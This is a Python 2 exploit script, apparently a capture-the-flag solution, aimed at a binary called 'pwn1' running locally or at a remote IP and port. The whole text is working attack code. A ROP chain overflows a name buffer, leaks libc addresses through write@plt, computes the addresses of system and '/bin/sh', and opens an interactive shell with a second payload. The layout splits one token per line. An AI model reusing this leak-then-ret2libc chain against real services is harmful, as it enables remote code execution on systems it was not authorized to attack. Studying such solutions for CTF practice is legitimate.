from
zio
import
*
from
pwn
import
*
import
mypwn
def
attack(io,hide):
io.read_until(
'choice>>'
)
io.writeline(
'1'
)
io.read_until(
'use hiden_methods?(1:yes/0:no):'
)
io.writeline(hide)
def
add(io):
io.read_until(
'choice>>'
)
io.writeline(
'2'
)
def
get_bak(io):
for
i
in
range
(
50
):
add(io)
if
__name__
=
=
'__main__'
:
r_m
=
COLORED(RAW,
"green"
)
w_m
=
COLORED(RAW,
"blue"
)
ta
=
int
(
raw_input
(
'prese 1 to local\n 2 to remote\n'
).strip(
'\n'
))
if
ta
=
=
1
:
target
=
(
'./pwn1'
)
elif
ta
=
=
2
:
target
=
(
'47.104.90.157'
,
30003
)
io
=
zio(target, timeout
=
9999
, print_read
=
r_m, print_write
=
w_m)
bk
=
zio(target, timeout
=
9999
, print_read
=
r_m, print_write
=
w_m)
io.read_until(
'login:'
)
io.writeline(
'abc'
)
bk.read_until(
'login:'
)
bk.writeline(
'abc'
)
attack(io,
'1'
)
attack(io,
'1'
)
attack(io,
'1'
)
attack(io,
'1'
)
attack(io,
'1'
)
attack(io,
'1'
)
add(bk)
add(bk)
add(bk)
add(bk)
add(bk)
add(bk)
add(bk)
add(io)
attack(io,
'1'
)
attack(io,
'1'
)
attack(io,
'1'
)
attack(io,
'1'
)
attack(io,
'1'
)
attack(io,
'1'
)
for
j
in
range
(
18
):
get_bak(bk)
attack(io,
'1'
)
attack(io,
'1'
)
attack(io,
'1'
)
plt_write
=
0x80486E0
pop3_ret
=
0x8049349
vul_func
=
0x8048EC7
rop
=
'a'
*
0x48
+
p32(
0xdeadbeef
)
+
p32(plt_write)
+
p32(pop3_ret)
+
p32(
1
)
+
p32(
0x804B048
)
+
p32(
0x4
)
rop
+
=
p32(plt_write)
+
p32(pop3_ret)
+
p32(
1
)
+
p32(
0x804B014
)
+
p32(
0x4
)
rop
+
=
p32(plt_write)
+
p32(pop3_ret)
+
p32(
1
)
+
p32(
0x804B044
)
+
p32(
0x4
)
rop
+
=
p32(plt_write)
+
p32(pop3_ret)
+
p32(
1
)
+
p32(
0x804B00C
)
+
p32(
0x4
)
rop
+
=
p32(vul_func)
while
1
:
cd
=
int
(
raw_input
(
'prese 1 to bak\n 2 to go \n3 to exit:'
).strip(
'\n'
))
if
cd
=
=
2
:
attack(io,
'1'
)
elif
cd
=
=
1
:
get_bak(bk)
else
:
break
io.read_until(
"what's your name:"
)
io.gdb_hint()
io.writeline(rop)
io.read_until(
'welcome\n'
)
write_offset
=
u32(io.read(
4
))
gets_offset
=
u32(io.read(
4
))
libc_start_offset
=
u32(io.read(
4
))
read_offset
=
u32(io.read(
4
))
print
'write_offset 0x%x'
%
(write_offset)
print
'gets_offset 0x%x'
%
(gets_offset)
print
'libc_start_offset 0x%x'
%
(libc_start_offset)
print
'read_offset 0x%x'
%
(read_offset)
libc_base
=
write_offset
-
0x000D43C0
real_sys
=
libc_base
+
0x0003A940
real_bin_sh
=
libc_base
+
0x015900B
if
ta
=
=
1
:
libc_base
=
write_offset
-
0xDD300
real_sys
=
libc_base
+
0x0040310
real_bin_sh
=
libc_base
+
0x00162BAC
print
'real_sys 0x%x'
%
(real_sys)
print
'real_bin_sh 0x%x'
%
(real_bin_sh)
get_shell
=
'a'
*
0x48
+
p32(
0xdeadbeef
)
+
p32(real_sys)
+
p32(vul_func)
+
p32(real_bin_sh)
+
p32(
0x804B048
)
+
p32(
0x4
)
io.writeline(get_shell)
io.interact()